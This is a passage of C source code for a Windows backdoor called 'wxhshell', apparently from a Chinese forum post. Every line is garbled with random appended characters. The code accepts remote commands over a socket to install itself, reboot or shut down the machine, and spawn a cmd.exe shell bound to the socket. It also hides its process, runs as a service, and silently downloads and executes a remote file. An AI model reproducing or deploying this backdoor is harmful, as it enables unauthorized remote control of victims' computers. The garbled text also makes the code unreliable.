  else { ZfP$6%;_  
SZ(]su:  
    switch(cmd[0]) { (]N- HN]v  
  qPF`=#  
  // 帮助 cogIkB&Ju  
  case '?': { ,u_ Z0S M  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u.dYDi  
    break; Bvsxn5z+:  
  } _T\cJcWf  
  // 安装 )J{ .z   
  case 'i': { |Q+:vb:  
    if(Install())  HvzXAd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  jH>`:  
    else ^Fpc8D,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bht!+  
    break; #Ic)]0L  
    } +o-jMvK9  
  // 卸载 ???`BF[|  
  case 'r': { zv0bE?W9   
    if(Uninstall()) 1s/548wu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6W[~@~D=  
    else %8{nuq+c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wl7 (|\-  
    break; ApNS0  
    } 3t9Weo)  
  // 显示 wxhshell 所在路径 <\EJ:  
  case 'p': { ! G3Gr  
    char svExeFile[MAX_PATH]; YJu~iQ`i  
    strcpy(svExeFile,"\n\r"); {;vLM* '  
      strcat(svExeFile,ExeFile); 03H0(ku=  
        send(wsh,svExeFile,strlen(svExeFile),0); y4)iL?!J~  
    break; M>[e1y>7  
    } z"P/Geb:O  
  // 重启 0pW;H|h  
  case 'b': { AFvv+ ss  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5rCJIl.  
    if(Boot(REBOOT)) M2d&7>N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qTwl\dcncC  
    else { n@"<NKzh  
    closesocket(wsh); mvt-+K?U  
    ExitThread(0); u8|CeA  
    } I?%q`GyP5  
    break; Qy4Pw\  
    } !v9`oL26  
  // 关机 $^czqA-&  
  case 'd': { ][V`ym-e  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0c!^=(  
    if(Boot(SHUTDOWN)) KD+&5=Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bj><0 cNF  
    else { 0raFb,6l  
    closesocket(wsh); V6((5o#  
    ExitThread(0); I!u=.[5zdC  
    } &0|Z FXPd  
    break; 1uG)U)y/Q  
    } Fn4yx~0  
  // 获取shell  ^4Xsdh5  
  case 's': { B~qo^ppVU  
    CmdShell(wsh); i!3*)-a\~`  
    closesocket(wsh); Le bc @,  
    ExitThread(0); r)Zk-!1  
    break; '/0e!x/8  
  } "zTy_0[;  
  // 退出 h&d"|<  
  case 'x': { gp$Rf9\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xt "-Jmox  
    CloseIt(wsh); v.TgB)  
    break; -JPkC(V7]  
    } c>3? T^=  
  // 离开 ~OxFgKn23&  
  case 'q': { ZPq.|6&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); gV\Y>y4v  
    closesocket(wsh); ZfVY:U:o>  
    WSACleanup(); Ik5V?  
    exit(1); ohJDu{V  
    break; M}CxCEdDB]  
        } !Yn#3c  
  } dhJ=+Fz"w  
  } #^9k&t#!6  
3b_/QT5!  
  // 提示信息 iT O Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5P\A++2 2Y  
} FU .%td=:  
  }  QV\a f  
6o9&FU  
  return; R;A8y  
} ?P>4H0@I+  
u#^l9/tl  
// shell模块句柄 k2,`W2] ^E  
int CmdShell(SOCKET sock) ,mi7WW9  
{ Mk973 'K'  
STARTUPINFO si; 9h)8Mq+M  
ZeroMemory(&si,sizeof(si)); :~srl)|)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3Zyv X]@_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g`C8ouy  
PROCESS_INFORMATION ProcessInfo; W _Hoa*~  
char cmdline[]="cmd"; ~@X3qja  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); RF'nwzM3  
  return 0; (RG "2I3  
} 1MnC5[Q  
wxPl[)E  
// 自身启动模式 " Qyi/r41  
int StartFromService(void) *f>\X[wN  
{ P7bb2"_9  
typedef struct W$;qhB  
{ ,2 W=/,5A  
  DWORD ExitStatus; <&#]|HGc  
  DWORD PebBaseAddress; .q4$)8[Pg  
  DWORD AffinityMask; 9Hb|$/FD  
  DWORD BasePriority; afD {w*[8  
  ULONG UniqueProcessId; p>3QW3<  
  ULONG InheritedFromUniqueProcessId; Q{'4,J-w  
}   PROCESS_BASIC_INFORMATION; % a.T@E  
kZrc^  
PROCNTQSIP NtQueryInformationProcess; PN<Vqt W  
EfpMzD7/(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ij =NcP  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]SPuNBsy)  
:2 :VMIa  
  HANDLE             hProcess; 1-PlRQs.1  
  PROCESS_BASIC_INFORMATION pbi; (3!6nQj-t  
N'aq4okoL  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]vs}-go  
  if(NULL == hInst ) return 0; k\j_hu  
"%a<+D  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %, iAn gF'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); JZ5";*,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); birc&<  
-U A &Zt  
  if (!NtQueryInformationProcess) return 0; JXq!v:w6  
~jHuJ` ]DF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N81M9#,["~  
  if(!hProcess) return 0; I^u~r.  
Kr1Y3[iNv  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oz,.gP%  
Buh}+n2]5  
  CloseHandle(hProcess); `^'fS@VA  
*jPd=+d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wQd8/&mmk  
if(hProcess==NULL) return 0; dPf7o   
ST?Rl@4  
HMODULE hMod; 2cIKph  
char procName[255]; 5k Q@]n:<k  
unsigned long cbNeeded; yqL"YD  
kTI5CoXzq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tCGx]\  
5$Kj#9g-#  
  CloseHandle(hProcess); M<NY`7$^  
6<QC|>p  
if(strstr(procName,"services")) return 1; // 以服务启动 t6mv  
pnz:<V"Y(  
  return 0; // 注册表启动 :FH&#Eq~4  
} rWDD$4y  
=jS$piw.  
// 主模块 zn&ZXFgN  
int StartWxhshell(LPSTR lpCmdLine) ePJ_O~c  
{ qq<T~^  
  SOCKET wsl; (U# Oj"  
BOOL val=TRUE; 5p:BHw;%;  
  int port=0; @|wU @by{  
  struct sockaddr_in door; 4KR`  
)1Y?S;  
  if(wscfg.ws_autoins) Install(); lz<' L. .  
Ev7v,7`z  
port=atoi(lpCmdLine); (jj`}Qe3U  
<Z.{q Zd  
if(port<=0) port=wscfg.ws_port; !QbuOvw  
8HJ,6Lr;  
  WSADATA data; U.I w/T-5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vyJ8" #]qY  
\O;/wf0Hg  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   : #?_4D!r  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |&W4Dk n  
  door.sin_family = AF_INET; _#&oQFdYR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c(2?./\|  
  door.sin_port = htons(port); 'bSWJ/;p)  
%,HUn`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j3`YaWw  
closesocket(wsl); hi/d%lNZ  
return 1; MMpId Uhr  
} ' 7oCWHq[  
ITqAy1m@C  
  if(listen(wsl,2) == INVALID_SOCKET) { GK1nGdT]  
closesocket(wsl); Y*\h?p[,  
return 1; 8IxIW0  
} ~xsJML  
  Wxhshell(wsl); "JLE  
  WSACleanup(); 3BD&;.<r  
[r3sk24  
return 0; oe|;>0yf  
 4uMMf  
} An0N'yo"Z  
'\op$t/  
// 以NT服务方式启动 w2XHY>6];  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z[<Na3]  
{ (GpP=lSSeY  
DWORD   status = 0; [M%? [E}>  
  DWORD   specificError = 0xfffffff; &oHr]=xA  
+>*=~R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; oQm XKV+[v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r nr-wUW@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; g}R Cjl4  
  serviceStatus.dwWin32ExitCode     = 0; T8|?mVv s  
  serviceStatus.dwServiceSpecificExitCode = 0; `L7^f!  
  serviceStatus.dwCheckPoint       = 0; *n&Sd~Mg  
  serviceStatus.dwWaitHint       = 0; PI`Y%!P  
9@q!~ur  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _b-g^#L%  
  if (hServiceStatusHandle==0) return; Qb>("j~Z  
c_+fA  
status = GetLastError(); 6fI2y4yEz  
  if (status!=NO_ERROR) L?j<KW  
{ <\Y(+?+uZ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 41Q)w=hoN  
    serviceStatus.dwCheckPoint       = 0; hHVAN3e  
    serviceStatus.dwWaitHint       = 0; S,Q^M )$  
    serviceStatus.dwWin32ExitCode     = status; H' /V<%  
    serviceStatus.dwServiceSpecificExitCode = specificError; .$W}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); x"R F[ d  
    return; X@tA+   
  } I(7iD. ^:  
RHNAHw9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s[h;9 I1w  
  serviceStatus.dwCheckPoint       = 0; ftPhE)i  
  serviceStatus.dwWaitHint       = 0; \ctzv``/n  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $!9/s S?  
} Z]TQ+9t  
Y%eW6Y#  
// 处理NT服务事件,比如:启动、停止 ':_gYA  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >#;;g2UV  
{  WTl0}wi  
switch(fdwControl) SSE,G!@  
{ O{\<Izm`D  
case SERVICE_CONTROL_STOP: W% Lrp{  
  serviceStatus.dwWin32ExitCode = 0; |zP~/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \#w8~+`Gq  
  serviceStatus.dwCheckPoint   = 0; dz/fSA  
  serviceStatus.dwWaitHint     = 0; : fYfXm  
  { }wv Rs5;o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gsy>"T{CY  
  } |IzL4>m:;  
  return; L / WRVc6  
case SERVICE_CONTROL_PAUSE: iM:-750n/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G:lhrT{  
  break; Y:m8UnT  
case SERVICE_CONTROL_CONTINUE: z2,NWmP|w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $yj*n;  
  break; 2 V\hG?<  
case SERVICE_CONTROL_INTERROGATE: 8?kB+}@6X  
  break; 1pDU}rPJ.  
}; :R:@V#Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tK{#kApHGG  
} <zvtQ^{]  
_4SZ9yu  
// 标准应用程序主函数 # .(f7~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u^E0u^  
{ ELMz~vp  
E)jd>"  
// 获取操作系统版本 Bd=K40Z:  
OsIsNt=GetOsVer(); h,BPf5\S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $t"QLsk0  
+N+117m  
  // 从命令行安装 mr#.uhd.z  
  if(strpbrk(lpCmdLine,"iI")) Install(); Fec4#}|  
Z> Rshtg  
  // 下载执行文件 <6+B;brh  
if(wscfg.ws_downexe) { *9=}f;~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) CW8YNJ'  
  WinExec(wscfg.ws_filenam,SW_HIDE); AU%Yr 6  
} p= x &X~  
!J<0.nO/:  
if(!OsIsNt) { 4[;}/-  
// 如果时win9x,隐藏进程并且设置为注册表启动 b 1Wz  
HideProc(); P~:^bU^F7  
StartWxhshell(lpCmdLine); T8&sPt,f  
} u R5h0Fi  
else `}sFT:1&  
  if(StartFromService()) rZ-< Ryg  
  // 以服务方式启动 1)ij*L8k  
  StartServiceCtrlDispatcher(DispatchTable); tlvZy+Blv  
else E2cZk6~m{  
  // 普通方式启动 4K`b?{){+a  
  StartWxhshell(lpCmdLine); 3y2L! &'z  
[`tNa Vg  
return 0; CA&VnO{r  
}
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只看该作者 1 发表于: 2006-10-10
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